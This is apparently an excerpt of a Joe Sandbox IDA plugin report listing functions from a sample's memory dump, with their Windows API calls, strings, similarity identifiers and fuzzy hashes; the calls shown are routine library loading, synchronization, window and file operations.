Similarity

API ID: String$AllocFree$ExclusiveLock$AcquireCurrentInterruptMtx_init_in_situPreciseQueryReleaseThreadTimeUnbiased
String ID: dummy$register_for_system_events
API String ID: 2292269400-4124618671
Opcode ID: bb14ab59d989622441ad99d6a401b98fcc74a1e9bb167a369adf7ce91b01f895
Instruction ID: be55c0b78ed87615b4372f3cf54fd7a299f350cd1ceba28edf7562b4731fd341
Opcode Fuzzy Hash: bb14ab59d989622441ad99d6a401b98fcc74a1e9bb167a369adf7ce91b01f895
Instruction Fuzzy Hash: B2617C70E00268DFDF11DFA9D945B9EBBB4FF08300F10416AE905AB381EB75AA05CB55

Function 003FC200 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 133libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(wmiutils.dll,A05DD77D), ref: 003FC248
LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,wbem\wmiutils.dll,00000011), ref: 003FC325
FreeLibrary.KERNEL32(00000000), ref: 003FC346

Strings

wbem\wmiutils.dll, xrefs: 003FC27D, 003FC296
win32, xrefs: 003FC3B0
wmiutils.dll, xrefs: 003FC243
unknown, xrefs: 003FC123, 003FC391

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Library$FreeHandleLoadModule
String ID: unknown$wbem\wmiutils.dll$win32$wmiutils.dll
API String ID: 2140536961-2702560950
Opcode ID: 66701c6c5b007f50b9aeba37b66afd90d49c5a3de748b07bdce4ab7b5a2d7826
Instruction ID: 82674daec2e53c3a88b56e6ac121183c7fb8a26ef30575ba53e9ae2a6221ffeb
Opcode Fuzzy Hash: 66701c6c5b007f50b9aeba37b66afd90d49c5a3de748b07bdce4ab7b5a2d7826
Instruction Fuzzy Hash: 41411975E1020CDBDB02DF64C985BBEBBB5EF44754F24802AE901A7381DB786E04CB95

Function 00427840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00427877
___except_validate_context_record.LIBVCRUNTIME ref: 0042787F
_ValidateLocalCookies.LIBCMT ref: 00427908
__IsNonwritableInCurrentImage.LIBCMT ref: 00427933
_ValidateLocalCookies.LIBCMT ref: 00427988

Strings

=pB, xrefs: 00427925, 0042792E, 0042793F
csm, xrefs: 0042791D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: =pB$csm
API String ID: 1170836740-1392728282
Opcode ID: 9beb9f819c0e7aee48d55578513884957f918fe10c26fb20dc6de018ae5477eb
Instruction ID: 7f369cdfd96b1624893db58878b682a399046fce48cbe8082f9a1018aa76e7c5
Opcode Fuzzy Hash: 9beb9f819c0e7aee48d55578513884957f918fe10c26fb20dc6de018ae5477eb
Instruction Fuzzy Hash: 2841E674F042289BCF10EF69D885A9E7FA0EF05314F54809BF8185B352D739AE51CB99

Function 00403F10 Relevance: 12.2, APIs: 8, Instructions: 159libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00403F52
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403F95
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403FD6
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00404017
GetLastError.KERNEL32 ref: 00404064
GetLastError.KERNEL32 ref: 00404086
GetLastError.KERNEL32 ref: 004040AA
GetLastError.KERNEL32 ref: 004040CE

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressErrorLastProc
String ID:
API String ID: 199729137-0
Opcode ID: 7a975aa2f69a64b8912791f7b76017d45fc91f5708b384b5faeda784ea3770ba
Instruction ID: cc098cb1151b383e2ffab1f06cc949a55b04afcad7da7766f18be12336fe413a
Opcode Fuzzy Hash: 7a975aa2f69a64b8912791f7b76017d45fc91f5708b384b5faeda784ea3770ba
Instruction Fuzzy Hash: E1516B74E042099FDB04CFA8C8547AEBFF0AF89304F1480BED955E7381DB7A9A448B95

Function 003E3F20 Relevance: 12.2, APIs: 8, Instructions: 153synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 003E3F3A

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ObjectSingleWait
String ID:
API String ID: 24740636-0
Opcode ID: 84c88ec11cf5f22c201f13ead85bdd2dc5f1e645d099c0380c5a868933ddb3cc
Instruction ID: ec45167b500bca493d425871c7191aa06c67224458661d38b978016529ceecda
Opcode Fuzzy Hash: 84c88ec11cf5f22c201f13ead85bdd2dc5f1e645d099c0380c5a868933ddb3cc
Instruction Fuzzy Hash: 4B411B35B0011897DB11EB66EC05BBEB3A5DFC8314F10027AFD069B3C1EB359E158656

Function 00411990 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 322COMMON

Download Yara Rule

APIs

Part of subcall function 00424CCD: RtlAcquireSRWLockShared.NTDLL(?), ref: 00424CD3

FreeLibrary.KERNEL32(00000000), ref: 00411DFC

Strings

PZ, xrefs: 00411D60
mfe_trust_init, xrefs: 00411D01
mfe_trust_uninit, xrefs: 00411D22
mfe_trust_validate, xrefs: 00411D44
P|, xrefs: 00411D3E

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AcquireFreeLibraryLockShared
String ID: PZ$P|$mfe_trust_init$mfe_trust_uninit$mfe_trust_validate
API String ID: 1419617460-861292972
Opcode ID: c37e4f46ed42f099d2c91c293caba41ec9f3038134d93d37d442686cab4d814a
Instruction ID: 9d36f415e6a5a691c7dcde1f1375f85db7c23b313bcd781a8ce84057274afa88
Opcode Fuzzy Hash: c37e4f46ed42f099d2c91c293caba41ec9f3038134d93d37d442686cab4d814a
Instruction Fuzzy Hash: 84C1F470E00248DFDB10CFA8C945BDEBBB5EF45310F1081AEE519A7391D778AA84CB95

Function 003E47A0 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 308COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(0043A69D), ref: 003E49B8
VariantInit.OLEAUT32(?), ref: 003E49EF
VariantCopy.OLEAUT32(?,?), ref: 003E4A0D

Strings

hwD, xrefs: 003E49A7
8uD, xrefs: 003E47FD
hvD, xrefs: 003E488E

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Variant$ClearCopyInit
String ID: 8uD$hvD$hwD
API String ID: 1785138364-2802233680
Opcode ID: a3a8f27852ca483c9313393acd19162d27842485d9dce2e4226fef50532c1187
Instruction ID: 7c2e03fe07a992cf4669f34fb7091261f546f4672e9f55cf9da4e72f80f561a7
Opcode Fuzzy Hash: a3a8f27852ca483c9313393acd19162d27842485d9dce2e4226fef50532c1187
Instruction Fuzzy Hash: 38B19A71E002A89BEB11EF65DC06BAEBB75EF08314F144329F805AB2C1E7756D40CB99

Function 003F0FF0 Relevance: 10.7, APIs: 7, Instructions: 246COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 003F1220

Part of subcall function 00425D49: RtlEnterCriticalSection.NTDLL(00464694), ref: 00425D54
Part of subcall function 00425D49: RtlLeaveCriticalSection.NTDLL(00464694), ref: 00425D91

SetLastError.KERNEL32(00000000), ref: 003F12A9
MapWindowPoints.USER32(000701F0,00000000,?,00000001), ref: 003F12C0
GetLastError.KERNEL32 ref: 003F12CA
SetWindowPos.USER32(000701F0,00000000,?,?,00000000,00000000,00000005), ref: 003F1337
UpdateWindow.USER32(000701F0), ref: 003F1346
Concurrency::cancel_current_task.LIBCPMT ref: 003F135B

Part of subcall function 00425CFF: RtlEnterCriticalSection.NTDLL(00464694), ref: 00425D09
Part of subcall function 00425CFF: RtlLeaveCriticalSection.NTDLL(00464694), ref: 00425D3C
Part of subcall function 00425CFF: RtlWakeAllConditionVariable.NTDLL ref: 00425DB3

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CriticalSection$Window$EnterErrorLastLeave$Concurrency::cancel_current_taskConditionInfoParametersPointsSystemUpdateVariableWake
String ID:
API String ID: 3866933946-0
Opcode ID: 6c50c08ff0c79b8fcdaebee20e9c8251b0612af626e15f99e3e22c07615a09c0
Instruction ID: 9446048998eb57219bc4f5386aa59110e5eed35e216ca59276237540b085543e
Opcode Fuzzy Hash: 6c50c08ff0c79b8fcdaebee20e9c8251b0612af626e15f99e3e22c07615a09c0
Instruction Fuzzy Hash: 7BA190B1900319DFDB21CF91EC45BEEB7B4BB05704F1086AEE504AB281EBB56A84CF55

Function 003F0BA0 Relevance: 10.7, APIs: 7, Instructions: 232COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 003F0BD4
GetDeviceCaps.GDI32(00000000,00000058), ref: 003F0BEA
GetDeviceCaps.GDI32(?,0000005A), ref: 003F0BF3
ReleaseDC.USER32(00000000,?), ref: 003F0BFA
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 003F0C7E
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 003F0ED5
UpdateWindow.USER32(?), ref: 003F0EE0

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CapsDeviceWindow$InfoParametersReleaseSystemUpdate
String ID:
API String ID: 4287873706-0
Opcode ID: b091b315b09dfc03fff0fe7eaf3575e450c1f81752fef18073f479d1dbcdabb0
Instruction ID: cc67cc4ee5b5daefad256917fb514197e6ea04062104999c15acd86a699fc150
Opcode Fuzzy Hash: b091b315b09dfc03fff0fe7eaf3575e450c1f81752fef18073f479d1dbcdabb0
Instruction Fuzzy Hash: B8A1E632C10F58DADB13DF78DC417AAB778BF6A395F119326F90576062EB30A8C18644

Function 003F8FC0 Relevance: 10.7, APIs: 7, Instructions: 209COMMON

Download Yara Rule

APIs

__alldvrm.LIBCMT ref: 003F9069
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003F908B
__Xtime_get_ticks.LIBCPMT ref: 003F90DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003F9169
__Mtx_unlock.LIBCPMT ref: 003F91C1

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$Mtx_unlockXtime_get_ticks__alldvrm
String ID:
API String ID: 554389402-0
Opcode ID: ce5d7909dfe8c0174c59397b75143f14abb84948a767dbbea9f02af211bd2039
Instruction ID: 29e55edc298b633a429d1ff03a3af67201cb61bf8d3756a92a2504895e7b8b0a
Opcode Fuzzy Hash: ce5d7909dfe8c0174c59397b75143f14abb84948a767dbbea9f02af211bd2039
Instruction Fuzzy Hash: 8961F071E002199BCF15DFA9DC85BAEBBB9AF89314F15822BF615A7381D6349C00CB94

Function 00424E26 Relevance: 10.7, APIs: 7, Instructions: 190COMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(?,00000000,?,?,?), ref: 00424EC8
GetLastError.KERNEL32 ref: 00424ED2
___std_fs_open_handle@16.LIBCPMT ref: 00424F32

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AttributesErrorFileLast___std_fs_open_handle@16
String ID:
API String ID: 617199260-0
Opcode ID: 282827c405338a3b7b5e745c927413c10c39439ac2086690d117783d87557043
Instruction ID: f48ab97fd8ed163a04aadf726f69280f92e9732587cdbf4dffd01ba17145541c
Opcode Fuzzy Hash: 282827c405338a3b7b5e745c927413c10c39439ac2086690d117783d87557043
Instruction Fuzzy Hash: B961A070B007159BDB14CF68E941BAAB7B4FF85310F85421AEC25EB380E778D911CBA9

Function 00406280 Relevance: 10.7, APIs: 7, Instructions: 189fileCOMMON

Download Yara Rule

APIs

Wow64DisableWow64FsRedirection.KERNEL32(?,?,?,A05DD77D,003E0000,?), ref: 00406365
CreateFileW.KERNEL32(00000000,00000000,00000007,00000000,00000003,02000000,00000000), ref: 0040637B
GetLastError.KERNEL32 ref: 00406383
Wow64RevertWow64FsRedirection.KERNEL32(00000000), ref: 0040638F
CreateFileW.KERNEL32(00000000,00000000,00000007,00000000,00000003,02000000,00000000,?,?,A05DD77D,003E0000,?), ref: 004063B7
GetLastError.KERNEL32 ref: 004063CC
CloseHandle.KERNEL32(00000000), ref: 00406445

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Wow64$CreateErrorFileLastRedirection$CloseDisableHandleRevert
String ID:
API String ID: 1949712479-0
Opcode ID: 2397e08833eb244b08a7b0001e44fcfc395f95831d1dad749054d01fc9c7353b
Instruction ID: b2f1dc2ad22cdd57b7cd8635ca89a7a7b516d73a786a53ef923829ca3ede8573
Opcode Fuzzy Hash: 2397e08833eb244b08a7b0001e44fcfc395f95831d1dad749054d01fc9c7353b
Instruction Fuzzy Hash: E971D371D01218DBDF20CFA8D945BAEBBB0AF44714F25412AEC16B73C0D7786915CB99

Function 003F70B0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151threadCOMMON

Download Yara Rule

APIs

Part of subcall function 003F4E70: __Mtx_init_in_situ.LIBCPMT ref: 003F4ECC

Part of subcall function 003FA470: SysAllocStringLen.OLEAUT32(00000000,?), ref: 003FA4FA

Part of subcall function 003FFE90: QueryUnbiasedInterruptTimePrecise.KERNELBASE ref: 003FFEFD

Part of subcall function 003E7C00: SysAllocStringLen.OLEAUT32(00000000,00000014), ref: 003E7C16

GetCurrentThreadId.KERNEL32 ref: 003F71C6
SysFreeString.OLEAUT32(?), ref: 003F71F8
SysFreeString.OLEAUT32(?), ref: 003F7202
SysFreeString.OLEAUT32(?), ref: 003F720C

Strings

signal_event, xrefs: 003F71DC
dummy, xrefs: 003F7199

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: String$Free$Alloc$CurrentInterruptMtx_init_in_situPreciseQueryThreadTimeUnbiased
String ID: dummy$signal_event
API String ID: 1410445602-762517529
Opcode ID: c5eb7bc52745dea85514a517ebbebe9562eaf397dc9179c7a98f8612e3beb077
Instruction ID: 1f9238673bcbbf7be56c3428bdc788ccbb177b42bc919d83997d0cf093a75982
Opcode Fuzzy Hash: c5eb7bc52745dea85514a517ebbebe9562eaf397dc9179c7a98f8612e3beb077
Instruction Fuzzy Hash: 405129B5E042189FDB15DFA9D880BAEBBF9FF48310F10456AE915AB341EB349944CB90

Function 003E53A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 149synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000040,?,A05DD77D,?,004614D0), ref: 003E53D9
CreateMutexExW.KERNEL32(00000000,?,00000000,001F0001,?,?,?,?,004614D0), ref: 003E5410
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,?,?,?,004614D0), ref: 003E5433
ReleaseMutex.KERNEL32(00000000), ref: 003E54C5
CloseHandle.KERNEL32(?), ref: 003E550B

Part of subcall function 003E3040: GetLastError.KERNEL32(A05DD77D,?,?,?,0043A5D0,000000FF), ref: 003E306E

Strings

Local\SM0:%lu:%lu:%hs, xrefs: 003E53E0

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Mutex$CloseCreateCurrentErrorHandleLastObjectProcessReleaseSingleWait
String ID: Local\SM0:%lu:%lu:%hs
API String ID: 908355122-2363530481
Opcode ID: 62d3eff1a6d9cbfb795ef46ece1c99a0fb733246716e6ca402d7f6a4b3bf3d4c
Instruction ID: 574a86eec19033b8e6c78928635e02e8199913f702d7f352d10d27a13ef56016
Opcode Fuzzy Hash: 62d3eff1a6d9cbfb795ef46ece1c99a0fb733246716e6ca402d7f6a4b3bf3d4c
Instruction Fuzzy Hash: DF416C75940178ABDB12DF56DC49BAB73A9DB85314F100368F80E973C1DB349E40CB60

Function 003E5560 Relevance: 10.6, APIs: 7, Instructions: 125memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(00000001,000000FF,00000000,?,00000000), ref: 003E558F
CloseHandle.KERNEL32(00000000), ref: 003E5600
CloseHandle.KERNEL32(00000000), ref: 003E560E
CloseHandle.KERNEL32(00000001), ref: 003E561C
GetProcessHeap.KERNEL32(00000000), ref: 003E5625
HeapFree.KERNEL32(00000000), ref: 003E562C
ReleaseMutex.KERNEL32(00000000), ref: 003E563B

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
